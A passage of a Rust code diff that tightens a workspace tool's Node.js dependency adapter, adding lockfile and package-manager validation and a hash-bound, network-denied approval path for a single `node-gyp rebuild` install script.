serde_json::from_slice(&package_bytes).map_err(|error| { + Error::InvalidInput(format!( + "Node manifest `{package_path}` is malformed JSON: {error}" + )) + })?; + if let Err(error) = validate_node_modules_layout(db, source_root, &root, &package) { + return Ok(Some(WorkspaceEnvironmentAdapterProposal::blocked( + EnvironmentProposalReasonReport { + code: "node_layout_unsupported".to_string(), + message: error.to_string(), + }, + EnvironmentRecoveryActionReport { + code: "choose_supported_node_modules_layout".to_string(), + description: + "Use a single-package node_modules project with a matching supported lockfile" + .to_string(), + command: None, + }, + ))); + } + match select_node_source_lock(db, source_root, &root, &package) { + Ok(Some(lock)) => { + if let Err(error) = validate_source_node_lock(db, &lock) { + return Ok(Some(WorkspaceEnvironmentAdapterProposal::blocked( + EnvironmentProposalReasonReport { + code: "node_lock_unsupported".to_string(), + message: error.to_string(), + }, + EnvironmentRecoveryActionReport { + code: "regenerate_supported_lock".to_string(), + description: "Regenerate the lockfile with the selected supported package manager without changing dependency intent".to_string(), + command: None, + }, + ))); + } return Ok(Some(WorkspaceEnvironmentAdapterProposal::ready())); } + Ok(None) => {} + Err(error) => { + return Ok(Some(WorkspaceEnvironmentAdapterProposal::blocked( + EnvironmentProposalReasonReport { + code: "node_lock_ambiguous".to_string(), + message: error.to_string(), + }, + EnvironmentRecoveryActionReport { + code: "select_one_package_manager".to_string(), + description: + "Declare one packageManager and retain only its authoritative lockfile" + .to_string(), + command: None, + }, + ))); + } } let spec = match node_resolution_spec(db, source_root, &root) { Ok(spec) => spec, @@ -335,14 +426,9 @@ impl Trail { let package_projection = self.project_entry_file(&package_entry)?; let package_text = fs::read_to_string(package_projection)?; let package_value: serde_json::Value = serde_json::from_str(&package_text)?; - let mut selected = None; - for (name, manager) in supported_lockfiles() { - let path = join_repo_path(&package_root, name); - if let Some(entry) = self.root_file_entry(root_id, &path)? { - selected = Some((path, manager.to_string(), entry)); - break; - } - } + validate_node_modules_layout(self, root_id, &package_root, &package_value)?; + let selected = select_node_source_lock(self, root_id, &package_root, &package_value)?; + let selected_for_lifecycle = selected.clone(); let component_id = NODE_WORKSPACE_ADAPTER.component_id(&package_root)?; let ( lock_path, @@ -352,13 +438,14 @@ impl Trail { source_lock_entry, resolution_inputs, source_projection, - ) = if let Some((lock_path, manager, lock_entry)) = selected { + ) = if let Some(lock) = selected { + validate_source_node_lock(self, &lock)?; ( - lock_path, - manager, - lock_entry.content_hash.clone(), + lock.path, + lock.manager.to_string(), + lock.entry.content_hash.clone(), "source".to_string(), - Some(lock_entry), + Some(lock.entry), Vec::new(), None, ) @@ -417,6 +504,28 @@ impl Trail { let node_version = tool_version("node")?; let node_tool = resolve_workspace_tool_executable("node")?; let manager_tool = resolve_workspace_tool_executable(&manager)?; + validate_declared_package_manager_version(&package_value, &manager, &manager_version)?; + let lifecycle_policy_path = join_repo_path(&package_root, NODE_LIFECYCLE_POLICY_FILE); + let lifecycle_policy_present = self + .root_file_entry(root_id, &lifecycle_policy_path)? + .is_some(); + let approved_lifecycle = match selected_for_lifecycle.as_ref() { + Some(lock) => approved_node_lifecycle( + self, + root_id, + &package_root, + &package_value, + &manager, + &manager_version, + lock, + )?, + None if lifecycle_policy_present => { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{lifecycle_policy_path}` requires a committed source lockfile" + ))); + } + None => None, + }; if manager == "pnpm" && self .root_file_entry( @@ -430,26 +539,9 @@ impl Trail { display_package_root(&package_root) ))); } - if package_value.get("workspaces").is_some() { - return Err(Error::InvalidInput(format!( - "Node component `{}` declares workspaces; synchronize a supported leaf package explicitly until the monorepo adapter is enabled", - display_package_root(&package_root) - ))); - } - if contains_local_node_dependency(&package_value) { - return Err(Error::InvalidInput(format!( - "Node component `{}` contains file:, link:, or workspace: dependencies that cannot be represented by an isolated node_modules layer", - display_package_root(&package_root) - ))); - } - if manager == "yarn" - && (!manager_version.starts_with('1') - || self - .root_file_entry(root_id, &join_repo_path(&package_root, ".yarnrc.yml"))? - .is_some()) - { + if manager == "yarn" && !manager_version.starts_with("1.") { return Err(Error::InvalidInput( - "Yarn Berry/PnP layouts are not node_modules layers; use Yarn Classic or wait for the PnP adapter" + "Yarn Berry is not a supported node_modules contract; Trail's built-in adapter currently requires Yarn Classic 1.x" .to_string(), )); } @@ -461,6 +553,7 @@ impl Trail { ".npmrc", ".yarnrc", "pnpmfile.cjs", + "bunfig.toml", ".node-version", ".nvmrc", ] { @@ -470,7 +563,10 @@ impl Trail { } } let implementation_version = env!("CARGO_PKG_VERSION").to_string(); - let distribution_digest = "builtin:node-plan-v2".to_string(); + let distribution_digest = "builtin:node-plan-v3".to_string(); + if let Some(approval) = &approved_lifecycle { + files.insert(approval.path.clone(), approval.entry.clone()); + } let mut key_inputs = files .iter() .map(|(path, entry)| (path.clone(), entry.content_hash.clone())) @@ -489,24 +585,84 @@ impl Trail { "command_environment".to_string(), "npm_config_cache=cache:package-manager/npm;PNPM_HOME=cache:package-manager/pnpm-home;PNPM_STORE_DIR=cache:package-manager/pnpm-store;YARN_CACHE_FOLDER=cache:package-manager/yarn;BUN_INSTALL_CACHE_DIR=cache:package-manager/bun;TRAIL_NODE=tool:node;TRAIL_NPM=tool?:npm;TRAIL_PNPM=tool?:pnpm;TRAIL_YARN=tool?:yarn;TRAIL_BUN=tool?:bun;TRAIL_NODE_MODULES=direct:node_modules;NODE_PATH=direct:node_modules;PATH+=direct:node_modules/.bin+tool-dirs".to_string(), ); + let mut lifecycle_tools = BTreeMap::new(); + let mut lifecycle_environment = BTreeMap::new(); + if let Some(approval) = &approved_lifecycle { + let script_text = package_value + .get("scripts") + .and_then(serde_json::Value::as_object) + .and_then(|scripts| scripts.get(&approval.script)) + .and_then(serde_json::Value::as_str) + .ok_or_else(|| Error::Corrupt("approved Node script disappeared".to_string()))?; + if !approved_node_native_script(script_text) { + return Err(Error::InvalidInput(format!( + "approved Node lifecycle script `{}` must be a single literal `node-gyp rebuild` command without shell operators", + approval.script + ))); + } + let node_abi = node_expression("process.versions.modules")?; + let node_installation = fs::canonicalize(&node_tool.path)? + .parent() + .and_then(Path::parent) + .map(Path::to_path_buf) + .ok_or_else(|| { + Error::InvalidInput("Node executable has no installation root".to_string()) + })?; + let node_headers = node_installation.join("include/node"); + let node_headers_identity = node_header_tree_identity(&node_headers)?; + let compiler = resolve_workspace_tool_executable("cc")?; + let compiler_version = tool_version_path(&compiler.path)?; + let python = resolve_workspace_tool_executable("python3")?; + let make = resolve_workspace_tool_executable("make")?; + key_inputs.insert( + "lifecycle:approval_sha256".to_string(), + approval.digest.clone(), + ); + key_inputs.insert("lifecycle:approval_path".to_string(), approval.path.clone()); + key_inputs.insert("lifecycle:source_root".to_string(), root_id.0.clone()); + key_inputs.insert("lifecycle:script".to_string(), approval.script.clone()); + key_inputs.insert("lifecycle:outputs".to_string(), approval.outputs.join("\0")); + key_inputs.insert("lifecycle:network".to_string(), "deny".to_string()); + lifecycle_tools.extend([ + ("node-abi".to_string(), node_abi), + ("node-headers".to_string(), node_headers_identity), + ("native-compiler".to_string(), compiler_version), + ("native-compiler-executable".to_string(), compiler.identity), + ("native-make-executable".to_string(), make.identity), + ("native-python-executable".to_string(), python.identity), + ]); + lifecycle_environment.insert("npm_config_offline".to_string(), "true".to_string()); + lifecycle_environment.insert("npm_config_audit".to_string(), "false".to_string()); + lifecycle_environment.insert("npm_config_fund".to_string(), "false".to_string()); + lifecycle_environment.insert( + "npm_config_nodedir".to_string(), + node_installation.to_string_lossy().into_owned(), + ); + } + let mut tool_versions = BTreeMap::from([ + ("node".to_string(), node_version), + (manager.clone(), manager_version), + ("node-executable".to_string(), node_tool.identity), + ( + format!("{manager}-executable"), + manager_tool.identity.clone(), + ), + ]); + tool_versions.extend(lifecycle_tools); let key = WorkspaceLayerKeyV1 { kind: "dependency".to_string(), adapter: "node".to_string(), adapter_version: 1, inputs: key_inputs, - tool_versions: BTreeMap::from([ - ("node".to_string(), node_version), - (manager.clone(), manager_version), - ("node-executable".to_string(), node_tool.identity), - ( - format!("{manager}-executable"), - manager_tool.identity.clone(), - ), - ]), + tool_versions, platform: std::env::consts::OS.to_string(), architecture: std::env::consts::ARCH.to_string(), portability_scope: "platform-architecture-node-abi".to_string(), - strategy: format!("{manager}-frozen-ignore-scripts-v1"), + strategy: if approved_lifecycle.is_some() { + format!("{manager}-frozen-approved-native-lifecycle-v1") + } else { + format!("{manager}-frozen-ignore-scripts-v1") + }, }; let project = "project".to_string(); let cache = self.declare_workspace_environment_cache( @@ -528,7 +684,7 @@ impl Trail { ]), )?; let cache_root = &cache.storage_path; - let environment = BTreeMap::from([ + let mut environment = BTreeMap::from([ ( "npm_config_cache".to_string(), cache_root.join("npm").to_string_lossy().into_owned(), @@ -541,7 +697,16 @@ impl Trail { "PNPM_STORE_DIR".to_string(), cache_root.join("pnpm-store").to_string_lossy().into_owned(), ), + ( + "YARN_CACHE_FOLDER".to_string(), + cache_root.join("yarn").to_string_lossy().into_owned(), + ), + ( + "BUN_INSTALL_CACHE_DIR".to_string(), + cache_root.join("bun").to_string_lossy().into_owned(), + ), ]); + environment.extend(lifecycle_environment); let args = match manager.as_str() { "npm" => vec!["ci", "--ignore-scripts", "--no-audit", "--no-fund"], "pnpm" => vec![ @@ -550,8 +715,18 @@ impl Trail { "--frozen-lockfile", "--ignore-scripts", ], - "yarn" => vec!["install", "--frozen-lockfile", "--ignore-scripts"], - "bun" => vec!["install", "--frozen-lockfile", "--ignore-scripts"], + "yarn" => vec![ + "install", + "--frozen-lockfile", + "--ignore-scripts", + "--non-interactive", + ], + "bun" => vec![ + "install", + "--frozen-lockfile", + "--ignore-scripts", + "--no-progress", + ], other => { return Err(Error::InvalidInput(format!( "unsupported Node package manager `{other}`" @@ -561,6 +736,38 @@ impl Trail { .into_iter() .map(str::to_string) .collect(); + let lifecycle_enabled = approved_lifecycle.is_some(); + let source_projection = if lifecycle_enabled { + let mut file_count = 0usize; + let mut source_bytes = 0u64; + self.visit_root_file_entries(root_id, &[], |path, entry| { + file_count = file_count.checked_add(1).ok_or_else(|| { + Error::InvalidInput("Node lifecycle source count overflowed".to_string()) + })?; + source_bytes = source_bytes.checked_add(entry.size_bytes).ok_or_else(|| { + Error::InvalidInput("Node lifecycle source size overflowed".to_string()) + })?; + if file_count > MAX_NODE_LIFECYCLE_SOURCE_FILES + || source_bytes > MAX_NODE_LIFECYCLE_SOURCE_BYTES + { + return Err(Error::InvalidInput(format!( + "approved Node lifecycle source exceeds {} files or {} bytes", + MAX_NODE_LIFECYCLE_SOURCE_FILES, MAX_NODE_LIFECYCLE_SOURCE_BYTES + ))); + } + if path == ".trail" || path.starts_with(".trail/") { + return Err(Error::InvalidPath { + path, + reason: "Trail private state cannot enter a lifecycle source closure" + .to_string(), + }); + } + Ok(()) + })?; + Some((root_id.clone(), "project".to_string())) + } else { + source_projection + }; let inputs = if source_projection.is_some() { Vec::new() } else { @@ -581,6 +788,81 @@ impl Trail { } else { format!("{package_root}/node_modules") }; + let project_root = if package_root.is_empty() { + project.clone() + } else { + format!("{project}/{package_root}") + }; + let mut outputs = vec![WorkspaceEnvironmentOutput { + name: "modules".to_string(), + output_path: format!("{project_root}/node_modules"), + mount_path, + policy: if lifecycle_enabled { + WorkspaceEnvironmentOutputPolicy::WritablePrivate + } else { + WorkspaceEnvironmentOutputPolicy::ImmutableSeedPrivate + }, + reuse: if lifecycle_enabled { + EnvironmentReuseMode::None + } else { + EnvironmentReuseMode::Exact + }, + scope: if lifecycle_enabled { + EnvironmentSharingScope::Lane + } else { + EnvironmentSharingScope::Workspace + }, + publish: if lifecycle_enabled { + EnvironmentPublicationTrigger::Never + } else { + EnvironmentPublicationTrigger::OnSync + }, + gate: None, + create_if_missing: true, + }]; + if let Some(approval) = &approved_lifecycle { + for (index, relative) in approval.outputs.iter().enumerate() { + outputs.push(WorkspaceEnvironmentOutput { + name: format!("lifecycle-output-{index}"), + output_path: format!("{project_root}/{relative}"), + mount_path: join_repo_path(&package_root, relative), + policy: WorkspaceEnvironmentOutputPolicy::WritablePrivate, + reuse: EnvironmentReuseMode::None, + scope: EnvironmentSharingScope::Lane, + publish: EnvironmentPublicationTrigger::Never, + gate: None, + create_if_missing: true, + }); + } + } + let install_command = WorkspaceEnvironmentCommand { + program: manager.clone(), + resolved_program: manager_tool.path.clone(), + executable_identity: manager_tool.identity.clone(), + args, + working_directory: project_root.clone(), + environment: environment.clone(), + remove_environment: Vec::new(), + cache_names: vec![cache.name.clone()], + }; + let lifecycle_command = + approved_lifecycle + .as_ref() + .map(|approval| WorkspaceEnvironmentCommand { + program: manager.clone(), + resolved_program: manager_tool.path.clone(), + executable_identity: manager_tool.identity.clone(), + args: vec![ + "run-script".to_string(), + approval.script.clone(), + "--ignore-scripts".to_string(), + "--offline".to_string(), + ], + working_directory: project_root.clone(), + environment: environment.clone(), + remove_environment: Vec::new(), + cache_names: vec![cache.name.clone()], + }); Ok(WorkspaceEnvironmentPlan { component_id, adapter_identity: NODE_WORKSPACE_ADAPTER.identity().to_string(), @@ -595,33 +877,26 @@ impl Trail { resolution_inputs, construction_seed: None, source_projection, - pre_commands: Vec::new(), - command: Some(WorkspaceEnvironmentCommand { - program: manager, - resolved_program: manager_tool.path, - executable_identity: manager_tool.identity, - args, - working_directory: project.clone(), - environment, - remove_environment: Vec::new(), - cache_names: vec![cache.name.clone()], - }), + pre_commands: if lifecycle_enabled { + vec![install_command.clone()] + } else { + Vec::new() + }, + command: if lifecycle_enabled { + lifecycle_command + } else { + Some(install_command) + }, mounted_commands: Vec::new(), caches: vec![cache], external_artifacts: Vec::new(), runtime_resources: Vec::new(), - sandbox_policy: WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin, - outputs: vec![WorkspaceEnvironmentOutput { - name: "modules".to_string(), - output_path: format!("{project}/node_modules"), - mount_path, - policy: WorkspaceEnvironmentOutputPolicy::ImmutableSeedPrivate, - reuse: EnvironmentReuseMode::Exact, - scope: EnvironmentSharingScope::Workspace, - publish: EnvironmentPublicationTrigger::OnSync, - gate: None, - create_if_missing: true, - }], + sandbox_policy: if lifecycle_enabled { + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + } else { + WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin + }, + outputs, stale_reason: "package, lockfile, Node runtime, package manager, or adapter policy changed" .to_string(), @@ -698,6 +973,393 @@ fn node_component_is_descendant_of_locked_workspace( Ok(false) } +#[derive(Clone, Debug, PartialEq, Eq)] +struct DeclaredNodeManager { + name: String, + version: Option, +} + +#[derive(Clone, Debug)] +struct NodeSourceLock { + path: String, + manager: &'static str, + entry: FileEntry, +} + +fn approved_node_lifecycle( + db: &Trail, + source_root: &ObjectId, + package_root: &str, + package: &serde_json::Value, + manager: &str, + manager_version: &str, + lock: &NodeSourceLock, +) -> Result> { + let path = join_repo_path(package_root, NODE_LIFECYCLE_POLICY_FILE); + let Some(entry) = db.root_file_entry(source_root, &path)? else { + return Ok(None); + }; + if entry.size_bytes > 64 * 1024 { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` exceeds 64 KiB" + ))); + } + let bytes = db.materialize_entry_bytes(&entry)?; + let policy: NodeLifecyclePolicyV1 = serde_json::from_slice(&bytes).map_err(|error| { + Error::InvalidInput(format!( + "Node lifecycle approval `{path}` is malformed: {error}" + )) + })?; + if policy.version != 1 { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` uses unsupported version {}; expected 1", + policy.version + ))); + } + if manager != "npm" { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` currently supports only exact npm installs; `{manager}` remains script-disabled" + ))); + } + let expected_manager = format!("{manager}@{}", manager_version.trim_start_matches('v')); + if policy.manager != expected_manager { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` selects manager `{}` but Trail resolved `{expected_manager}`", + policy.manager + ))); + } + let lock_bytes = db.materialize_entry_bytes(&lock.entry)?; + let lock_sha256 = sha256_hex(&lock_bytes); + if policy.lock_sha256 != lock_sha256 + || policy.lock_sha256.len() != 64 + || !policy + .lock_sha256 + .bytes() + .all(|byte| byte.is_ascii_hexdigit() && !byte.is_ascii_uppercase()) + { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` does not match the exact SHA-256 of `{}`", + lock.path + ))); + } + if policy.capabilities.network != "deny" || !policy.capabilities.native_toolchain { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` must declare capabilities.network = \"deny\" and native_toolchain = true" + ))); + } + let lock_document: serde_json::Value = + serde_json::from_slice(&lock_bytes).map_err(|error| { + Error::InvalidInput(format!( + "approved Node lifecycle lock `{}` is malformed: {error}", + lock.path + )) + })?; + let node_gyp = lock_document + .pointer("/packages/node_modules~1node-gyp") + .and_then(serde_json::Value::as_object) + .ok_or_else(|| { + Error::InvalidInput(format!( + "Node lifecycle approval `{path}` requires lock-pinned `node-gyp`" + )) + })?; + let node_gyp_version = node_gyp + .get("version") + .and_then(serde_json::Value::as_str) + .ok_or_else(|| Error::InvalidInput("locked node-gyp has no version".to_string()))?; + let node_gyp_integrity = node_gyp + .get("integrity") + .and_then(serde_json::Value::as_str) + .ok_or_else(|| Error::InvalidInput("locked node-gyp has no integrity".to_string()))?; + let expected_package = format!("node-gyp@{node_gyp_version}#{node_gyp_integrity}"); + if policy.packages != [expected_package.clone()] { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` must select exactly locked package `{expected_package}`" + ))); + } + if policy.scripts.len() != 1 + || policy.scripts[0].package != "." + || !matches!( + policy.scripts[0].phase.as_str(), + "preinstall" | "install" | "postinstall" + ) + { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` must select exactly one root preinstall, install, or postinstall script" + ))); + } + let script = policy.scripts[0].phase.clone(); + let declared_script = package + .get("scripts") + .and_then(serde_json::Value::as_object) + .and_then(|scripts| scripts.get(&script)) + .and_then(serde_json::Value::as_str) + .filter(|value| !value.trim().is_empty()); + if declared_script.is_none() { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` selects missing or empty root script `{script}`" + ))); + } + if policy.outputs.is_empty() || policy.outputs.len() > 8 { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` must declare between 1 and 8 private output directories" + ))); + } + let mut outputs = BTreeSet::new(); + for output in policy.outputs { + let output = normalize_relative_path(&output)?; + if output == "node_modules" + || output == "package.json" + || output == NODE_LIFECYCLE_POLICY_FILE + || output == lock.path + || output.starts_with("node_modules/") + { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` contains reserved output `{output}`" + ))); + } + let source_path = join_repo_path(package_root, &output); + let mut tracked = false; + db.visit_root_file_entries(source_root, std::slice::from_ref(&source_path), |_, _| { + tracked = true; + Ok(()) + })?; + if tracked { + return Err(Error::InvalidInput(format!( + "Node lifecycle output `{source_path}` overlaps committed source" + ))); + } + if !outputs.insert(output.clone()) { + return Err(Error::InvalidInput(format!( + "Node lifecycle approval `{path}` repeats output `{output}`" + ))); + } + } + Ok(Some(ApprovedNodeLifecycle { + path, + entry, + digest: sha256_hex(&bytes), + script, + outputs: outputs.into_iter().collect(), + })) +} + +fn declared_node_manager(package: &serde_json::Value) -> Result> { + let Some(identity) = package + .get("packageManager") + .and_then(serde_json::Value::as_str) + else { + return Ok(None); + }; + let (name, raw_version) = identity + .split_once('@') + .map_or((identity, None), |(name, version)| (name, Some(version))); + if !matches!(name, "npm" | "pnpm" | "yarn" | "bun") { + return Err(Error::InvalidInput(format!( + "Node packageManager `{identity}` is unsupported; expected npm, pnpm, yarn, or bun" + ))); + } + let version = raw_version + .map(|version| version.split_once('+').map_or(version, |(base, _)| base)) + .filter(|version| !version.is_empty()) + .map(str::to_string); + if identity.contains('@') && version.is_none() { + return Err(Error::InvalidInput(format!( + "Node packageManager `{identity}` has an empty version" + ))); + } + Ok(Some(DeclaredNodeManager { + name: name.to_string(), + version, + })) +} + +fn select_node_source_lock( + db: &Trail, + source_root: &ObjectId, + package_root: &str, + package: &serde_json::Value, +) -> Result> { + let declared = declared_node_manager(package)?; + let mut locks = Vec::new(); + for (name, manager) in supported_lockfiles() { + let path = join_repo_path(package_root, name); + if let Some(entry) = db.root_file_entry(source_root, &path)? { + locks.push(NodeSourceLock { + path, + manager, + entry, + }); + } + } + if locks.is_empty() { + return Ok(None); + } + + if let Some(declared) = declared.as_ref() { + let mismatched = locks + .iter() + .filter(|lock| lock.manager != declared.name) + .map(|lock| lock.path.as_str()) + .collect::>(); + let matching = locks + .iter() + .filter(|lock| lock.manager == declared.name) + .collect::>(); + if matching.is_empty() { + return Err(Error::InvalidInput(format!( + "packageManager selects `{}` but the repository lockfile(s) belong to another manager: {}", + declared.name, + mismatched.join(", ") + ))); + } + locks.retain(|lock| lock.manager == declared.name); + } else { + let managers = locks + .iter() + .map(|lock| lock.manager) + .collect::>(); + if managers.len() > 1 { + return Err(Error::InvalidInput(format!( + "Node component `{}` contains lockfiles for multiple package managers ({}); declare packageManager and retain one authoritative manager lock", + display_package_root(package_root), + managers.into_iter().collect::>().join(", ") + ))); + } + } + + if locks.len() > 1 && locks[0].manager != "npm" { + return Err(Error::InvalidInput(format!( + "Node component `{}` contains multiple `{}` lock authorities ({}); retain exactly one", + display_package_root(package_root), + locks[0].manager, + locks + .iter() + .map(|lock| lock.path.as_str()) + .collect::>() + .join(", ") + ))); + } + // npm-shrinkwrap.json intentionally precedes package-lock.json and is npm's + // published lock authority when both are present. + Ok(locks.into_iter().next()) +} + +fn validate_declared_package_manager_version( + package: &serde_json::Value, + selected_manager: &str, + installed_version: &str, +) -> Result<()> { + let Some(declared) = declared_node_manager(package)? else { + return Ok(()); + }; + if declared.name != selected_manager { + return Err(Error::InvalidInput(format!( + "packageManager selects `{}` but Trail selected `{selected_manager}`", + declared.name + ))); + } + if let Some(version) = declared.version + && version != installed_version + { + return Err(Error::InvalidInput(format!( + "packageManager requires `{selected_manager}@{version}` but the resolved executable reports `{installed_version}`; activate the exact manager version before synchronizing" + ))); + } + Ok(()) +} + +fn validate_node_modules_layout( + db: &Trail, + source_root: &ObjectId, + package_root: &str, + package: &serde_json::Value, +) -> Result<()> { + if package.get("workspaces").is_some() { + return Err(Error::InvalidInput(format!( + "Node component `{}` declares workspaces; synchronize a supported leaf package explicitly until the monorepo adapter is enabled", + display_package_root(package_root) + ))); + } + if contains_local_node_dependency(package) { + return Err(Error::InvalidInput(format!( + "Node component `{}` contains file:, link:, or workspace: dependencies that cannot be represented by an isolated node_modules layer", + display_package_root(package_root) + ))); + } + + let yarn_requested = declared_node_manager(package)? + .is_some_and(|manager| manager.name == "yarn") + || db + .root_file_entry(source_root, &join_repo_path(package_root, "yarn.lock"))? + .is_some(); + if !yarn_requested { + return Ok(()); + } + for marker in [".yarnrc.yml", ".pnp.js", ".pnp.cjs"] { + if db + .root_file_entry(source_root, &join_repo_path(package_root, marker))? + .is_some() + { + return Err(Error::InvalidInput(format!( + "Yarn Berry/PnP marker `{marker}` is unsupported by Trail's node_modules adapter; use Yarn Classic without PnP" + ))); + } + } + if package + .get("installConfig") + .and_then(serde_json::Value::as_object) + .and_then(|config| config.get("pnp")) + .and_then(serde_json::Value::as_bool) + == Some(true) + { + return Err(Error::InvalidInput( + "Yarn Classic Plug'n'Play selected by package.json installConfig.pnp is unsupported by Trail's node_modules adapter" + .to_string(), + )); + } + let yarnrc_path = join_repo_path(package_root, ".yarnrc"); + if let Some(entry) = db.root_file_entry(source_root, &yarnrc_path)? { + let text = String::from_utf8(db.materialize_entry_bytes(&entry)?).map_err(|_| { + Error::InvalidInput(format!("Yarn configuration `{yarnrc_path}` is not UTF-8")) + })?; + if text.lines().any(|line| { + let normalized = line.trim().to_ascii_lowercase(); + normalized.contains("pnp") + && !normalized.ends_with(" false") + && !normalized.ends_with("=false") + }) { + return Err(Error::InvalidInput(format!( + "Yarn configuration `{yarnrc_path}` selects or ambiguously configures Plug'n'Play; Trail requires an explicit node_modules layout" + ))); + } + } + Ok(()) +} + +fn validate_source_node_lock(db: &Trail, lock: &NodeSourceLock) -> Result<()> { + let bytes = db.materialize_entry_bytes(&lock.entry)?; + if lock.path.ends_with("bun.lockb") { + if bytes.is_empty() { + return Err(Error::InvalidInput( + "Bun binary lockfile bun.lockb is empty".to_string(), + )); + } + return Ok(()); + } + let lock_name = supported_lockfiles() + .into_iter() + .map(|(name, _)| name) + .find(|name| lock.path.ends_with(name)) + .ok_or_else(|| Error::Corrupt(format!("unknown Node lock path `{}`", lock.path)))?; + validate_node_lock_snapshot( + &NodeResolutionSpec { + manager: lock.manager, + lock_name, + }, + &bytes, + ) +} + #[derive(Clone, Copy, Debug, PartialEq, Eq)] struct NodeResolutionSpec { manager: &'static str, @@ -730,11 +1392,10 @@ fn node_resolution_spec( } fn node_resolution_spec_from_package(package: &serde_json::Value) -> Result { - let manager = package - .get("packageManager") - .and_then(serde_json::Value::as_str) - .map(|identity| identity.split_once('@').map_or(identity, |(name, _)| name)) - .unwrap_or("npm"); + let declared = declared_node_manager(package)?; + let manager = declared + .as_ref() + .map_or("npm", |manager| manager.name.as_str()); match manager { "npm" => Ok(NodeResolutionSpec { manager: "npm", @@ -857,13 +1518,23 @@ fn validate_node_lock_snapshot(spec: &NodeResolutionSpec, bytes: &[u8]) -> Resul let text = std::str::from_utf8(bytes).map_err(|_| { Error::InvalidInput("Trail-managed Yarn lock snapshot is not UTF-8".to_string()) })?; - if !text.contains("yarn lockfile v1") && !text.contains("__metadata:") { + if text.contains("__metadata:") || !text.contains("yarn lockfile v1") { + return Err(Error::InvalidInput( + "Trail's built-in Node adapter requires a Yarn Classic v1 lockfile; Yarn Berry/PnP locks are unsupported" + .to_string(), + )); + } + } + "bun" => { + let text = std::str::from_utf8(bytes).map_err(|_| { + Error::InvalidInput("Trail-managed Bun text lock snapshot is not UTF-8".to_string()) + })?; + if !text.contains("lockfileVersion") { return Err(Error::InvalidInput( - "Trail-managed Yarn lock snapshot has no recognized format marker".to_string(), + "Trail-managed Bun text lock snapshot has no lockfileVersion".to_string(), )); } } - "bun" => {} other => { return Err(Error::InvalidInput(format!( "Trail-managed Node lock snapshot uses unsupported manager `{other}`" @@ -934,6 +1605,123 @@ fn tool_version(tool: &str) -> Result { Ok(String::from_utf8_lossy(&output.stdout).trim().to_string()) } +fn tool_version_path(tool: &Path) -> Result { + let output = Command::new(tool) + .arg("--version") + .output() + .map_err(|err| { + Error::InvalidInput(format!( + "required tool `{}` is unavailable: {err}", + tool.display() + )) + })?; + if !output.status.success() { + return Err(Error::InvalidInput(format!( + "`{} --version` failed with {}", + tool.display(), + output.status + ))); + } + let text = if output.stdout.is_empty() { + &output.stderr + } else { + &output.stdout + }; + Ok(String::from_utf8_lossy(text).trim().to_string()) +} + +fn node_expression(expression: &str) -> Result { + let output = Command::new("node") + .args(["-p", expression]) + .output() + .map_err(|err| { + Error::InvalidInput(format!("required tool `node` is unavailable: {err}")) + })?; + if !output.status.success() { + return Err(Error::InvalidInput(format!( + "`node -p {expression}` failed with {}", + output.status + ))); + } + Ok(String::from_utf8_lossy(&output.stdout).trim().to_string()) +} + +fn approved_node_native_script(script: &str) -> bool { + let mut words = script.split_ascii_whitespace(); + if words.next() != Some("node-gyp") || words.next() != Some("rebuild") { + return false; + } + words.all(|word| { + !word.is_empty() + && word.bytes().all(|byte| { + byte.is_ascii_alphanumeric() + || matches!(byte, b'-' | b'_' | b'.' | b'/' | b'=' | b':') + }) + && !word.starts_with('/') + && !word.split('/').any(|segment| segment == "..") + }) +} + +fn node_header_tree_identity(root: &Path) -> Result { + const MAX_FILES: usize = 4_096; + const MAX_BYTES: u64 = 96 * 1024 * 1024; + let root = fs::canonicalize(root).map_err(|error| { + Error::InvalidInput(format!( + "Node development headers are unavailable at `{}`: {error}", + root.display() + )) + })?; + if !root.join("node.h").is_file() { + return Err(Error::InvalidInput(format!( + "Node development headers at `{}` have no node.h", + root.display() + ))); + } + let mut files = Vec::new(); + for entry in walkdir::WalkDir::new(&root).follow_links(false) { + let entry = entry.map_err(|error| Error::InvalidInput(error.to_string()))?; + let metadata = entry + .metadata() + .map_err(|error| Error::InvalidInput(error.to_string()))?; + if metadata.file_type().is_symlink() { + return Err(Error::InvalidInput(format!( + "Node development headers contain symlink `{}`", + entry.path().display() + ))); + } + if metadata.is_file() { + let relative = entry + .path() + .strip_prefix(&root) + .map_err(|_| Error::Corrupt("Node header walk escaped its root".to_string()))? + .to_string_lossy() + .into_owned(); + files.push((relative, entry.path().to_path_buf(), metadata.len())); + } + } + files.sort_by(|left, right| left.0.cmp(&right.0)); + let total = files.iter().try_fold(0u64, |total, (_, _, size)| { + total + .checked_add(*size) + .ok_or_else(|| Error::InvalidInput("Node header size overflowed".to_string())) + })?; + if files.len() > MAX_FILES || total > MAX_BYTES { + return Err(Error::InvalidInput(format!( + "Node development headers exceed {MAX_FILES} files or {MAX_BYTES} bytes" + ))); + } + let mut identity = Vec::new(); + for (relative, path, size) in files { + identity.extend_from_slice(relative.as_bytes()); + identity.push(0); + identity.extend_from_slice(size.to_string().as_bytes()); + identity.push(0); + identity.extend_from_slice(sha256_hex(&fs::read(path)?).as_bytes()); + identity.push(0); + } + Ok(sha256_hex(&identity)) +} + fn join_repo_path(root: &str, name: &str) -> String { if root.is_empty() { name.to_string() @@ -1097,6 +1885,319 @@ mod tests { .contains("lockfileVersion")); } + #[test] + fn yarn_and_bun_plans_bind_frozen_manager_specific_contracts() { + if resolve_workspace_tool_executable("node").is_err() { + return; + } + let cases = [ + ( + "yarn", + "yarn.lock", + "# yarn lockfile v1\n", + "yarn-frozen-ignore-scripts-v1", + "YARN_CACHE_FOLDER", + "yarn", + "--non-interactive", + ), + ( + "bun", + "bun.lock", + "{\n 